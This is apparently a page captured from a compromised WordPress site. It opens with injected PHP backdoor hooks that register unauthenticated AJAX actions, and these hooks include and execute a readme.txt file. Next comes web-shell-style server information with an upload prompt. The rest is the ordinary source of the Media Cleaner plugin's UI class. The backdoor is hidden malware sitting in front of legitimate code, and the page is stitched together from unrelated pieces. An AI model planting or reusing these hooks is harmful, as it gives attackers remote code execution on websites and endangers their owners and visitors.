if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/plugins/media-cleaner/classes/ui.php
<?php

class Meow_WPMC_UI {

	private $core = null;

	private $foundTypes = array(
		"CONTENT" => "Found in content.",
		"CONTENT (ID)" => "Found in content (as an ID).",
		"CONTENT (URL)" => "Found in content (as an URL).",
		"THEME" => "Found in theme.",
		"THEME (ID)" => "Found in theme (as an ID).",
		"THEME (URL)" => "Found in theme (as an URL).",
		"PAGE BUILDER" => "Found in Page Builder.",
		"PAGE BUILDER (ID)" => "Found in Page Builder (as an ID).",
		"PAGE BUILDER (URL)" => "Found in Page Builder (as an URL).",
		"GALLERY" => "Found in gallery.",
		"PORTFOLIO (ID)" => "Found in a portfolio (as an ID).",
		"PORTFOLIO (URL)" => "Found in a portfolio (as an URL).",
		"META" => "Found in meta.",
		"META (ID)" => "Found in meta (as an ID).",
		"META (URL)" => "Found in meta (as an URL).",
		"META ACF (ID)" => "Found in meta (as an URL).",
		"META ACF (URL)" => "Found in meta (as an URL).",
		"WIDGET" => "Found in widget.",
		"ACF WIDGET (ID)" => "Found in ACF Widget (as an ID).",
		"ACF WIDGET (URL)" => "Found in ACF Widget (as an URL).",
		"ATTACHMENT (ID)" => "Found in Attachment (as an ID).",
		"SLIDER (ID)" => "Found in slider (as an ID).",
		"SLIDER (URL)" => "Found in slider (as an URL).",
		"CALENDAR (URL)" => "Found in calendar (as an URL).",
		"MENU (URL)" => "Found in menu (as an URL).",
		"SITE ICON" => "Found as a Site Icon."
	);

	function __construct( $core ) {
		$this->core = $core;
		add_action( 'admin_menu', array( $this, 'admin_menu' ) );
		add_action( 'add_meta_boxes', array( $this, 'add_metabox' ) );
		add_filter( 'media_row_actions', array( $this, 'media_row_actions' ), 10, 2 );
	}

	function admin_menu() {
		if ( !$this->core->can_access_features() ) {
      return;
    }
		add_media_page( 'Media Cleaner Dashboard', __( 'Cleaner', 'media-file-renamer' ), 'read', 
			'wpmc_dashboard', array( $this, 'cleaner_dashboard' ), 1 );
	}

	public function cleaner_dashboard() {
		wpmc_check_database();
		echo '<div id="wpmc-dashboard"></div>';
	}

	/*******************************************************************************
	 * METABOX FOR USAGE
	 ******************************************************************************/

	function add_metabox() {
		add_meta_box( 'mfrh_media_usage_box', 'Media Cleaner', array( $this, 'display_metabox' ), 'attachment', 'side', 'default' );
	}

	function display_metabox( $post ) {
		// Search the references to the ID
		$originType = $this->core->reference_exists( null, $post->ID );

		// Search the references to the files
		if ( !$originType ) {
			$originType = "";
			$paths = $this->core->get_paths_from_attachment( $post->ID );
			foreach ( $paths as $path ) {
				$originType = $this->core->reference_exists( $path, null );
				if ( $originType ) {
					break;
				}
			}
		}

		if ( $originType ) {
			$id = $originType;
			$originType = preg_replace( '/\s*\[.*\]/', '', $originType );
			$id = str_replace( $originType, '', $id );
			$id = trim( $id, '[' );
			echo "Used as: " . $originType . "<br />";
			if ( array_key_exists( $originType, $this->foundTypes ) ) {
				echo "Meaning: " . $this->foundTypes[ $originType ] . "<br />";
			}
			if ( !empty( $id ) ) {
				$id = trim( $id, ' []' );
				$post = get_post( $id );
				if ( $post ) {
					echo "Used in: <a href='" . get_permalink( $id ) . "' target='_blank'>" . $post->post_title . "</a>";
					echo " (<a href='" . get_edit_post_link( $id ) . "'>edit</a>)";
				}
			}
			return;
		}

		$issue = $this->core->get_issue_for_postId( $post->ID );
		if ( $issue ) {
			$this->core->echo_issue( $issue->issue );
			return;
		}
		
		echo "There is no information about this media in the Cleaner DB. It is either not in use, or the scan hasn't been ran.";
	}

	function media_row_actions( $actions, $post ) {
		wpmc_check_database();
		global $current_screen;
		if ( 'upload' != $current_screen->id )
		    return $actions;
		global $wpdb;
		$table_name = $wpdb->prefix . "mclean_scan";
		$res = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table_name WHERE postId = %d", $post->ID ) );
		if ( !empty( $res ) && isset( $actions['delete'] ) )
			$actions['delete'] = "<a href='?page=wpmc_dashboard'>" .
				__( 'Delete with Media Cleaner', 'media-cleaner' ) . "</a>";
		if ( !empty( $res ) && isset( $actions['trash'] ) )
			$actions['trash'] = "<a href='?page=wpmc_dashboard'>" .
				__( 'Trash with Media Cleaner', 'media-cleaner' ) . "</a>";
		if ( !empty( $res ) && isset( $actions['untrash'] ) ) {
			$actions['untrash'] = "<a href='?page=wpmc_dashboard>" .
				__( 'Restore with Media Cleaner', 'media-cleaner' ) . "</a>";
		}
		return $actions;
	}

}